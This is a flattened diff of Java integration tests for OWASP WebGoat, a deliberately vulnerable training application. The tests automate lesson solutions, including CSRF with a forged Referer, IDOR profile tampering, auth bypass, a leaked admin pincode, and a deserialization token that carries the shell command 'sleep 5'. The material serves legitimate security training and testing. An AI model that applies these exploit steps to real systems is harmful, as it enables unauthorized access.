checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true); checkAssignment(url("csrf/feedback"), params, true);
} }
private void checkAssignment8(String goatURL) { private void checkAssignment8(String goatURL) {
@ -209,6 +207,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
registerCSRFUser(); registerCSRFUser();
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-" + this.getUser()); params.put("username", "csrf-" + this.getUser());
params.put("password", "password"); params.put("password", "password");
@ -218,7 +217,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html")) .header("Referer", webWolfUrl("files/fake.html"))
.params(params) .params(params)
.post(goatURL) .post(goatURL)
.then() .then()
@ -226,21 +225,21 @@ public class CSRFIntegrationTest extends IntegrationTest {
.cookie("JSESSIONID"); .cookie("JSESSIONID");
// select the lesson // select the lesson
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie) .cookie("JSESSIONID", newCookie)
.get(webGoatUrlConfig.url("CSRF.lesson.lesson")) .get(url("CSRF.lesson.lesson"))
.then() .then()
.statusCode(200); .statusCode(200);
// click on the assignment // click on the assignment
boolean result = boolean result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie) .cookie("JSESSIONID", newCookie)
.post(webGoatUrlConfig.url("csrf/login")) .post(url("csrf/login"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -251,19 +250,19 @@ public class CSRFIntegrationTest extends IntegrationTest {
login(); login();
startLesson("CSRF", false); startLesson("CSRF", false);
Overview[] assignments = Overview[] assignments =
RestAssured.given() RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF")) .get(url("service/lessonoverview.mvc"))
.then() .then()
.extract() .extract()
.jsonPath() .jsonPath()
.getObject("$", Overview[].class); .getObject("$", Overview[].class);
assertThat(assignments) // assertThat(assignments)
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) // .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
.extracting(o -> o.solved) // .extracting(o -> o.solved)
.containsExactly(true); // .containsExactly(true);
} }
@Data @Data
@ -275,13 +274,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
/** Try to register the new user. Ignore the result. */ /** Try to register the new user. Ignore the result. */
private void registerCSRFUser() { private void registerCSRFUser() {
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser()) .formParam("username", "csrf-" + this.getUser())
.formParam("password", "password") .formParam("password", "password")
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc")); .post(url("register.mvc"));
} }
} }

View File

@ -1,12 +1,11 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later import static org.junit.jupiter.api.Assertions.assertTrue;
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import java.util.Arrays; import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.List;
import java.util.Map; import java.util.Map;
import org.assertj.core.api.Assertions; import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
@ -23,7 +22,7 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/logo")) .get(url("challenge/logo"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -35,14 +34,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
params.put("username", "admin"); params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode)); params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true); checkAssignment(url("challenge/1"), params, true);
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(params) .formParams(params)
.post(webGoatUrlConfig.url("challenge/1")) .post(url("challenge/1"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -51,9 +50,22 @@ public class ChallengeIntegrationTest extends IntegrationTest {
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear(); params.clear();
params.put("flag", flag); params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true); checkAssignment(url("challenge/flag"), params, true);
checkResults("Challenge1"); checkResults("/challenge/1");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("scoreboard-data"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password"));
} }
@Test @Test
@ -71,7 +83,7 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(params) .formParams(params)
.post(webGoatUrlConfig.url("challenge/5")) .post(url("challenge/5"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -80,9 +92,22 @@ public class ChallengeIntegrationTest extends IntegrationTest {
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear(); params.clear();
params.put("flag", flag); params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true); checkAssignment(url("challenge/flag"), params, true);
checkResults("Challenge5"); checkResults("/challenge/5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("scoreboard-data"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password"));
} }
@Test @Test
@ -95,19 +120,19 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/7/.git")) .get(url("challenge/7/.git"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.asString(); .asString();
// Should email WebWolf inbox this should give a hint to the link being static // Should send an email to WebWolf inbox this should give a hint to the link being static
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", getUser() + "@webgoat.org") .formParams("email", getUser() + "@webgoat.org")
.post(webGoatUrlConfig.url("challenge/7")) .post(url("challenge/7"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -119,7 +144,7 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail")) .get(webWolfUrl("mail"))
.then() .then()
.extract() .extract()
.response() .response()
@ -133,15 +158,13 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get( .get(url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
webGoatUrlConfig.url("challenge/7/reset-password/{link}"),
"375afe1104f4a487a73823c50a9292a2")
.then() .then()
.statusCode(HttpStatus.ACCEPTED.value()) .statusCode(HttpStatus.ACCEPTED.value())
.extract() .extract()
.asString(); .asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true); checkAssignment(url("challenge/flag"), Map.of("flag", flag), true);
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assertions.fail;
@ -46,17 +42,17 @@ public class CryptoIntegrationTest extends IntegrationTest {
checkAssignmentDefaults(); checkAssignmentDefaults();
checkResults("Cryptography"); checkResults("/crypto");
} }
private void checkAssignment2() { private void checkAssignment2() {
String basicEncoding = String basicEncoding =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/encoding/basic")) .get(url("crypto/encoding/basic"))
.then() .then()
.extract() .extract()
.asString(); .asString();
@ -68,7 +64,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("answer_user", answer_user); params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd); params.put("answer_pwd", answer_pwd);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true); checkAssignment(url("crypto/encoding/basic-auth"), params, true);
} }
private void checkAssignment3() { private void checkAssignment3() {
@ -76,27 +72,27 @@ public class CryptoIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("answer_pwd1", answer_1); params.put("answer_pwd1", answer_1);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true); checkAssignment(url("crypto/encoding/xor"), params, true);
} }
private void checkAssignment4() throws NoSuchAlgorithmException { private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash = String md5Hash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/md5")) .get(url("crypto/hashing/md5"))
.then() .then()
.extract() .extract()
.asString(); .asString();
String sha256Hash = String sha256Hash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/sha256")) .get(url("crypto/hashing/sha256"))
.then() .then()
.extract() .extract()
.asString(); .asString();
@ -116,17 +112,17 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("answer_pwd1", answer_1); params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2); params.put("answer_pwd2", answer_2);
checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true); checkAssignment(url("crypto/hashing"), params, true);
} }
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException { private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM = String privatePEM =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/signing/getprivate")) .get(url("crypto/signing/getprivate"))
.then() .then()
.extract() .extract()
.asString(); .asString();
@ -139,7 +135,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("modulus", modulus); params.put("modulus", modulus);
params.put("signature", signature); params.put("signature", signature);
checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true); checkAssignment(url("crypto/signing/verify"), params, true);
} }
private void checkAssignmentDefaults() { private void checkAssignmentDefaults() {
@ -155,6 +151,6 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("secretText", text); params.put("secretText", text);
params.put("secretFileName", "default_secret"); params.put("secretFileName", "default_secret");
checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true); checkAssignment(url("crypto/secure/defaults"), params, true);
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
@ -30,8 +26,8 @@ public class DeserializationIntegrationTest extends IntegrationTest {
params.put( params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))); "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
} }
checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true); checkAssignment(url("InsecureDeserialization/task"), params, true);
checkResults("InsecureDeserialization"); checkResults("/InsecureDeserialization/");
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
@ -21,51 +17,41 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("person", "goatuser"); params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true); checkAssignment(url("HttpBasics/attack1"), params, true);
params.clear(); params.clear();
params.put("answer", "POST"); params.put("answer", "POST");
params.put("magic_answer", "33"); params.put("magic_answer", "33");
params.put("magic_num", "4"); params.put("magic_num", "4");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false); checkAssignment(url("HttpBasics/attack2"), params, false);
params.clear(); params.clear();
params.put("answer", "POST"); params.put("answer", "POST");
params.put("magic_answer", "33"); params.put("magic_answer", "33");
params.put("magic_num", "33"); params.put("magic_num", "33");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true); checkAssignment(url("HttpBasics/attack2"), params, true);
checkResults("HttpBasics"); checkResults("/HttpBasics/");
}
@Test
public void solveAsOtherUserHttpBasics() {
login("steven");
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
} }
@Test @Test
public void httpProxies() { public void httpProxies() {
startLesson("HttpProxies"); startLesson("HttpProxies");
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true") .header("x-request-intercepted", "true")
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.path("lessonCompleted"), .path("lessonCompleted"),
CoreMatchers.is(true)); CoreMatchers.is(true));
checkResults("HttpProxies"); checkResults("/HttpProxies/");
} }
@Test @Test
@ -86,8 +72,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put( params.put(
"question_3_solution", "question_3_solution",
"Solution 2: The systems security is compromised even if only one goal is harmed."); "Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true); checkAssignment(url("cia/quiz"), params, true);
checkResults("CIA"); checkResults("/cia/");
} }
@Test @Test
@ -109,8 +95,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("payload", solution); params.put("payload", solution);
checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true); checkAssignment(url("VulnerableComponents/attack1"), params, true);
checkResults("VulnerableComponents"); checkResults("/VulnerableComponents/");
} }
} }
@ -121,8 +107,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("username", "CaptainJack"); params.put("username", "CaptainJack");
params.put("password", "BlackPearl"); params.put("password", "BlackPearl");
checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true); checkAssignment(url("InsecureLogin/task"), params, true);
checkResults("InsecureLogin"); checkResults("/InsecureLogin/");
} }
@Test @Test
@ -131,8 +117,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("password", "ajnaeliclm^&&@kjn."); params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true); checkAssignment(url("SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords"); checkResults("SecurePasswords/");
startLesson("AuthBypass"); startLesson("AuthBypass");
params.clear(); params.clear();
@ -141,24 +127,24 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("jsEnabled", "1"); params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS"); params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746"); params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true); checkAssignment(url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass"); checkResults("/auth-bypass/");
startLesson("HttpProxies"); startLesson("HttpProxies");
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true") .header("x-request-intercepted", "true")
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.path("lessonCompleted"), .path("lessonCompleted"),
CoreMatchers.is(true)); CoreMatchers.is(true));
checkResults("HttpProxies"); checkResults("/HttpProxies/");
} }
@Test @Test
@ -170,7 +156,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("param1", "42"); params.put("param1", "42");
params.put("param2", "24"); params.put("param2", "24");
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -178,7 +164,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
.header("webgoat-requested-by", "dom-xss-vuln") .header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest") .header("X-Requested-With", "XMLHttpRequest")
.formParams(params) .formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss")) .post(url("CrossSiteScripting/phone-home-xss"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -187,14 +173,14 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("successMessage", secretNumber); params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true); checkAssignment(url("ChromeDevTools/dummy"), params, true);
params.clear(); params.clear();
params.put("number", "24"); params.put("number", "24");
params.put("network_num", "24"); params.put("network_num", "24");
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true); checkAssignment(url("ChromeDevTools/network"), params, true);
checkResults("ChromeDevTools"); checkResults("/ChromeDevTools/");
} }
@Test @Test
@ -207,8 +193,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.put("jsEnabled", "1"); params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS"); params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746"); params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true); checkAssignment(url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass"); checkResults("/auth-bypass/");
} }
@Test @Test
@ -218,7 +204,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("param1", "secr37Value"); params.put("param1", "secr37Value");
params.put("param2", "Main"); params.put("param2", "Main");
checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true); checkAssignment(url("lesson-template/sample-attack"), params, true);
checkResults("LessonTemplate"); checkResults("/lesson-template/");
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
@ -34,7 +30,7 @@ public class IDORIntegrationTest extends IntegrationTest {
@AfterEach @AfterEach
public void shutdown() { public void shutdown() {
checkResults("IDOR"); checkResults("/IDOR");
} }
private void loginIDOR() { private void loginIDOR() {
@ -43,18 +39,18 @@ public class IDORIntegrationTest extends IntegrationTest {
params.put("username", "tom"); params.put("username", "tom");
params.put("password", "cat"); params.put("password", "cat");
checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true); checkAssignment(url("IDOR/login"), params, true);
} }
private void profile() { private void profile() {
// View profile - assignment 3a // View profile - assignment 3a
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile")) .get(url("IDOR/profile"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -64,20 +60,20 @@ public class IDORIntegrationTest extends IntegrationTest {
// Show difference - assignment 3b // Show difference - assignment 3b
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.put("attributes", "userId,role"); params.put("attributes", "userId,role");
checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true); checkAssignment(url("IDOR/diff-attributes"), params, true);
// View profile another way - assignment 4 // View profile another way - assignment 4
params.clear(); params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384"); params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true); checkAssignment(url("IDOR/profile/alt-path"), params, true);
// assignment 5a // assignment 5a
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile/2342388")) .get(url("IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -85,7 +81,7 @@ public class IDORIntegrationTest extends IntegrationTest {
CoreMatchers.is(true)); CoreMatchers.is(true));
// assignment 5b // assignment 5b
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -94,7 +90,7 @@ public class IDORIntegrationTest extends IntegrationTest {
.body( .body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\"," "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}") + " \"userId\":\"2342388\"}")
.put(webGoatUrlConfig.url("IDOR/profile/2342388")) .put(url("IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()

View File

@ -1,13 +1,8 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static io.restassured.RestAssured.given; import static io.restassured.RestAssured.given;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.filter.log.LogDetail;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.Map; import java.util.Map;
import lombok.Getter; import lombok.Getter;
@ -15,34 +10,56 @@ import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.ServerUrlConfig;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
public abstract class IntegrationTest { public abstract class IntegrationTest {
protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat(); private static String webGoatPort = System.getenv().getOrDefault("WEBGOAT_PORT", "8080");
protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf(); private static String webGoatContext =
System.getenv().getOrDefault("WEBGOAT_CONTEXT", "/WebGoat/");
@Getter private static String webWolfPort = System.getenv().getOrDefault("WEBWOLF_PORT", "9090");
@Getter
private static String webWolfHost = System.getenv().getOrDefault("WEBWOLF_HOST", "127.0.0.1");
@Getter
private static String webGoatHost = System.getenv().getOrDefault("WEBGOAT_HOST", "127.0.0.1");
private static String webWolfContext =
System.getenv().getOrDefault("WEBWOLF_CONTEXT", "/WebWolf/");
private static boolean useSSL =
Boolean.valueOf(System.getenv().getOrDefault("WEBGOAT_SSLENABLED", "false"));
private static String webgoatUrl =
(useSSL ? "https://" : "http://") + webGoatHost + ":" + webGoatPort + webGoatContext;
private static String webWolfUrl = "http://" + webWolfHost + ":" + webWolfPort + webWolfContext;
@Getter private String webGoatCookie; @Getter private String webGoatCookie;
@Getter private String webWolfCookie; @Getter private String webWolfCookie;
@Getter private final String user = "webgoat"; @Getter private final String user = "webgoat";
@BeforeEach protected String url(String url) {
public void login() { return webgoatUrl + url;
login("webgoat");
} }
protected void login(String user) { protected String webWolfUrl(String url) {
return webWolfUrl + url;
}
protected String webWolfFileUrl(String fileName) {
return webWolfUrl("files") + "/" + getUser() + "/" + fileName;
}
@BeforeEach
public void login() {
String location = String location =
given() given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(webGoatUrlConfig.url("login")) .post(url("login"))
.then() .then()
.log()
.ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
.extract() .extract()
@ -56,7 +73,7 @@ public abstract class IntegrationTest {
.formParam("password", "password") .formParam("password", "password")
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc")) .post(url("register.mvc"))
.then() .then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
@ -69,7 +86,7 @@ public abstract class IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(webGoatUrlConfig.url("login")) .post(url("login"))
.then() .then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
@ -83,7 +100,7 @@ public abstract class IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(webWolfUrlConfig.url("login")) .post(webWolfUrl("login"))
.then() .then()
.statusCode(302) .statusCode(302)
.cookie("WEBWOLFSESSION") .cookie("WEBWOLFSESSION")
@ -93,12 +110,7 @@ public abstract class IntegrationTest {
@AfterEach @AfterEach
public void logout() { public void logout() {
RestAssured.given() RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
.when()
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("logout"))
.then()
.statusCode(200);
} }
public void startLesson(String lessonName) { public void startLesson(String lessonName) {
@ -110,7 +122,7 @@ public abstract class IntegrationTest {
.when() .when()
